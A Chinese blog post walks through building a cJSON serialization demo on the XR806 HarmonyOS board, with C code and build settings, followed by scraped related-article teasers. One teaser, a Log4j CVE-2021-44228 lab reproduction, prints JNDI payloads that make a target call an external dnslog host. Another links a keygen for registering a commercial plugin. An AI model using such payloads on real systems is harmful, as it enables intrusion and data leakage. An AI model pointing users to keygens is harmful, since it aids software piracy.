[XR806开发板试用] XR806 调用cjson 实现数据序列化

很荣幸获得极术设区提供的这次试用机会,可以接触鸿蒙操作系统。我工作接触最多的是linux 平台的嵌入式ARM平台较多,这次跑了下鸿蒙,也非常有趣。

不过接进年底了,日常大小琐碎事情突然多了起来,测评的比较匆忙,目前只把代码拉了下来,跑了几个Demo,遂写点简单的吧,顺带记录下从中遇到的问题,一并贴出来,给后面玩XR806小伙伴一个参考

  1. 拉取代码与烧录
    平时开发环境是ubuntu Server 20.04 ,其他的依赖环境也是有的,这里就略过linux 基础环境配置;我测试时候全志分支在往鸿蒙主分支合并,所以主分支中的全志部分没法拉取,我先拉取主分支,在clone 临时仓库的;

不过现在应该恢复了。应该按照官方文档只接获取即可
XR806 WIKI
烧录也是按照官方文档即可
2. 编译配置

A. 在sdk 中 建立如下文件夹和目录

![image.png](/img/bVbo0e)

B. 修改代码

 **** cjson 文件夹中的main.c 中
/** Copyright (C) 2021 XRADIO TECHNOLOGY CO., LTD. All rights reserved.**  Redistribution and use in source and binary forms, with or without*  modification, are permitted provided that the following conditions*  are met:*    1. Redistributions of source code must retain the above copyright*       notice, this list of conditions and the following disclaimer.*    2. Redistributions in binary form must reproduce the above copyright*       notice, this list of conditions and the following disclaimer in the*       documentation and/or other materials provided with the*       distribution.*    3. Neither the name of XRADIO TECHNOLOGY CO., LTD. nor the names of*       its contributors may be used to endorse or promote products derived*       from this software without specific prior written permission.**  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS*  "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT*  LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR*  A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT*  OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,*  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT*  LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,*  DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY*  THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT*  (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE*  OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.*/#include <stdio.h>
#include "ohos_init.h"
#include "kernel/os/os.h"
#include "cjson/cJSON.h"#include <stdio.h>
#include <stdlib.h>
#include <string.h>static OS_Thread_t g_main_thread;/* Used by some code below as an example datatype. */
struct record
{const char *precision;double lat;double lon;const char *address;const char *city;const char *state;const char *zip;const char *country;
};/* Create a bunch of objects as demonstration. */
static int print_preallocated(cJSON *root)
{/* declarations */char *out = NULL;char *buf = NULL;char *buf_fail = NULL;size_t len = 0;size_t len_fail = 0;/* formatted print */out = cJSON_Print(root);/* create buffer to succeed *//* the extra 5 bytes are because of inaccuracies when reserving memory */len = strlen(out) + 5;buf = (char*)malloc(len);if (buf == NULL){printf("Failed to allocate memory.\n");exit(1);}/* create buffer to fail */len_fail = strlen(out);buf_fail = (char*)malloc(len_fail);if (buf_fail == NULL){printf("Failed to allocate memory.\n");exit(1);}/* Print to buffer */if (!cJSON_PrintPreallocated(root, buf, (int)len, 1)) {printf("cJSON_PrintPreallocated failed!\n");if (strcmp(out, buf) != 0) {printf("cJSON_PrintPreallocated not the same as cJSON_Print!\n");printf("cJSON_Print result:\n%s\n", out);printf("cJSON_PrintPreallocated result:\n%s\n", buf);}free(out);free(buf_fail);free(buf);return -1;}/* success */printf("%s\n", buf);/* force it to fail */if (cJSON_PrintPreallocated(root, buf_fail, (int)len_fail, 1)) {printf("cJSON_PrintPreallocated failed to show error with insufficient memory!\n");printf("cJSON_Print result:\n%s\n", out);printf("cJSON_PrintPreallocated result:\n%s\n", buf_fail);free(out);free(buf_fail);free(buf);return -1;}free(out);free(buf_fail);free(buf);return 0;
}/* Create a bunch of objects as demonstration. */
static void create_objects(void)
{/* declare a few. */cJSON *root = NULL;cJSON *fmt = NULL;cJSON *img = NULL;cJSON *thm = NULL;cJSON *fld = NULL;int i = 0;/* Our "days of the week" array: */const char *strings[7] ={"Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"};volatile double zero = 0.0;/* Our "days of the week" array: */root = cJSON_CreateStringArray(strings, 7);if (print_preallocated(root) != 0) {cJSON_Delete(root);exit(EXIT_FAILURE);}cJSON_Delete(root);}int  test_main(void)
{/* print the version */printf("Version: %s\n", cJSON_Version());/* Now some samplecode for building objects concisely: */create_objects();return 0;
}static void MainThread(void *arg)
{LOS_Msleep(10000);test_main();while (1) {	LOS_Msleep(1000);}
}void HelloTestMain(void)
{printf("Wifi Test Start\n");if (OS_ThreadCreate(&g_main_thread, "MainThread", MainThread, NULL,OS_THREAD_PRIO_APP, 4 * 1024) != OS_OK) {printf("[ERR] Create MainThread Failed\n");}
}SYS_RUN(HelloTestMain);

**** cjson文件夹下的BUILD.gn 设置如下:

static_library("app_cjson") {configs = []sources = ["src/main.c",]cflags = board_cflagsinclude_dirs = board_include_dirsinclude_dirs += ["//kernel/liteos_m/kernel/arch/include",]
}

修改xradion/xr806下的BUILD.gn

group("ohosdemo") {deps = ["cjson:app_cjson",#"blink:app_blink",#"hello_demo:app_hello",#"iot_peripheral:app_peripheral",#"wlan_demo:app_WlanTest",#"wlan:app_wlan",#"httpc:app_httpc",]
}

C. 编译 && 烧写 && 运行

 `hb build -f`可能会报固件分区有问题,只接将xxxxx/device/xradio/xr806/xr_skylark/project/demo/audio_demo/image/xr806/image_auto_cal.cfg中的分区拷贝到image.cfg ,重新编译。重新烧写,串口调试打印如下:

在这里插入图片描述

D. 附带gitee 代码仓库连接

GitEE

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/831310.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【工具类安装教程】IDEA Ui设计器JFormDesigner

1、下载插件 File->Settings->Plugins->JFormDesigner 2、注册教程 2.1注册机下载 链接&#xff1a;https://pan.baidu.com/s/1Rb1EMva5HIYbyBcYgCxIsw 提取码&#xff1a;6666 2.2找到目录 1、找到idea目录 2.3进入plugins目录 找到在JFormDesigner文件夹下lib文…

政安晨:【Keras机器学习示例演绎】(二十九)—— 利用卷积 LSTM 进行下一帧视频预测

目录 简介 设置 数据集构建 数据可视化 模型构建 模型训练 帧预测可视化 预测视频 政安晨的个人主页&#xff1a;政安晨 欢迎 &#x1f44d;点赞✍评论⭐收藏 收录专栏: TensorFlow与Keras机器学习实战 希望政安晨的博客能够对您有所裨益&#xff0c;如有不足之处&…

【R语言】描述性数据分析与数据可视化

我们处理的变量可以分为两类&#xff0c;一类是连续型变量&#xff0c;另一类叫做分类型变量&#xff0c;其中对于连续型变量&#xff0c;如果服从正态分布就用平均值填充NA&#xff0c;不服从正态分布就用中位数填充NA&#xff0c;对于分类型变量&#xff0c;不管是有序的&…

IOS上线操作

1、拥有苹果开发者账号 2、配置证书&#xff0c;进入苹果开发者官网&#xff08;https://developer.apple.com/&#xff09; 3、点击账户&#xff08;account&#xff09;&#xff0c;然后创建一个唯一的标识符 4、点击"Identifiers"&#xff0c;然后点击"&qu…

GEE必须会教程—一文教你华南地区NDVI趋势可视化分析(代码分享)

本期将带来NDVI的变化趋势分析&#xff0c;一个地区究竟是变绿了&#xff0c;还是植被退化了&#xff0c;如何进行量化呢&#xff1f;小编给出了代码&#xff0c;后期将带来详细的解释&#xff0c;大家可以先尝试着分析一下代码。 上代码&#xff01; var regionee.FeatureCo…

RCE学习

从最近的xyctf中&#xff0c;最大的感受就是自己的rce基础并不牢固&#xff0c;所以马上来恶补一下 漏洞成因 php和其他语言有很多能够执行系统命令或执行其他php代码的函数&#xff0c;因为开发者的使用不当&#xff0c;使得用户能够控制传递给执行命令的函数的参数&#xf…

AI图书推荐:用ChatGPT快速创建在线课程

您是否是您领域的专家&#xff0c;拥有丰富的知识和技能可以分享&#xff1f;您是否曾想过创建一个在线课程&#xff0c;但被这个过程吓倒了&#xff1f;那么&#xff0c;是时候把这些担忧放在一边&#xff0c;迈出这一步了&#xff01;有了这本指南和ChatGPT的帮助&#xff0c…

设计模式: 模板模式

目录 一&#xff0c;模板模式 二&#xff0c;特点 三&#xff0c;组成部分 四&#xff0c;实现步骤 五&#xff0c;案例 一&#xff0c;模板模式 模板模式&#xff08;Template Pattern&#xff09;是一种行为型设计模式&#xff0c;它在超类中定义了一个算法的骨架&#…

Node.js -- mongoose

文章目录 1. 介绍2. mongoose 连接数据库3. 插入文件4. 字段类型5. 字段值验证6. 文档处理6.1 删除文档6.2 更新文档6.3 读取文档 7. 条件控制8. 个性化读取9. 代码模块化 1. 介绍 Mongoose是一个对象文档模型库&#xff0c;官网http://www.mongoosejs.net/ 方便使用代码操作mo…

“Unite“ > MacOS下很不错的网站转应用App的工具

前言 前不久在浏览mac论坛&#xff0c;无意了解到一款非常好的工具&#xff0c;可以将网站转换为app&#xff0c;考虑到我们现在的主要应用都从本地客户端转成web形式使用&#xff0c;但基于本能的使用习惯&#xff0c;还是希望有个快捷的访问信息&#xff0c;这个应用非常适合…

数组删除元素

数组删除元素 1.利用新的数组 将原数组arr的元素&#xff0c;复制到新数组newArr中&#xff0c;复制过程中将要删除的元素&#xff0c;选择不复制 public class Test01{public static void main(String [] args){String [] arr {"zhangsan","lisi","…

C语言——操作符保姆级教学(含整形提升及算数转换)

操作符 一.操作符的分类二.原码、反码、补码三.移位操作符1.左移操作符&#xff1a;<<2.右移操作符&#xff1a;>> 四.位操作符1.按位与—— &2.按位或—— |3.按位异或—— ^4.按位取反—— ~ 五.逗号表达式六.条件操作符七.操作符的属性&#xff1a;优先级、…

408数据结构-树的基本概念与性质 自学知识点整理

树的定义 树是 n n n&#xff08; n ≥ 0 n≥0 n≥0&#xff09;个结点的有限集。当 n 0 n0 n0时&#xff0c;称为空树。 任意一棵非空树应具有以下特性&#xff1a; 有且仅有一个特定的被称为根的结点&#xff08;根结点&#xff09;。当 n &#xff1e; 1 n&#xff1e;1 …

PotatoPie 4.0 实验教程(32) —— FPGA实现摄像头图像浮雕效果

什么是浮雕效果&#xff1f; 浮雕效果是一种图像处理技术&#xff0c;用于将图像转换为看起来像浮雕一样的效果&#xff0c;给人一种凸起或凹陷的立体感觉&#xff0c;下面第二张图就是图像处理实现浮雕效果。 不过这个图是用Adobe公司的PS人工P图实现的&#xff0c;效果比较…

第一课 自动驾驶概述

1. contents 2. 什么是无人驾驶/自动驾驶 3 智慧出行大智慧 4. 无人驾驶的发展历程

Tracecat:开源 SOAR

Tracecat 是一个面向安全团队的开源自动化平台。 开发人员认为&#xff0c;每个人都应该可以使用安全自动化&#xff0c;特别是人手不足的中小型团队。 核心功能、用户界面和日常工作流程基于一流安全团队的现有最佳实践。 使用专门的人工智能模型来标记、总结和丰富警报。 …

Spark RDD的分区与依赖关系

Spark RDD的分区与依赖关系 RDD分区 RDD&#xff0c;Resiliennt Distributed Datasets&#xff0c;弹性式分布式数据集&#xff0c;是由若干个分区构成的&#xff0c;那么这每一个分区中的数据又是如何产生的呢&#xff1f;这就是RDD分区策略所要解决的问题&#xff0c;下面我…

<Linux> 权限

目录 权限人员相对于文件来说的分类更改权限文件的拥有者与所属组 权限 权限是操作系统用来限制对资源访问的机制&#xff0c;权限一般分为读、写、执行。系统中的每个文件都拥有特定的权限、所属用户及所属组&#xff0c;通过这样的机制来限制哪些用户、哪些组可以对特定文件…

VULHUB复现log4j反序列化漏洞-CVE-2021-44228

本地下载vulhub复现就完了&#xff0c;环境搭建不讲&#xff0c;网上其他文章很好。 访问该环境&#xff1a; POC 构造&#xff08;任选其一&#xff09;&#xff1a; ${jndi:ldap://${sys:java.version}.xxx.dnslog.cn} ${jndi:rmi://${sys:java.version}.xxx.dnslog.cn}我是…

双向链表专题

文章目录 目录1. 双向链表的结构2. 双向链表的实现3. 顺序表和双向链表的优缺点分析 目录 双向链表的结构双向链表的实现顺序表和双向链表的优缺点分析 1. 双向链表的结构 注意&#xff1a; 这⾥的“带头”跟前面我们说的“头节点”是两个概念&#xff0c;带头链表里的头节点…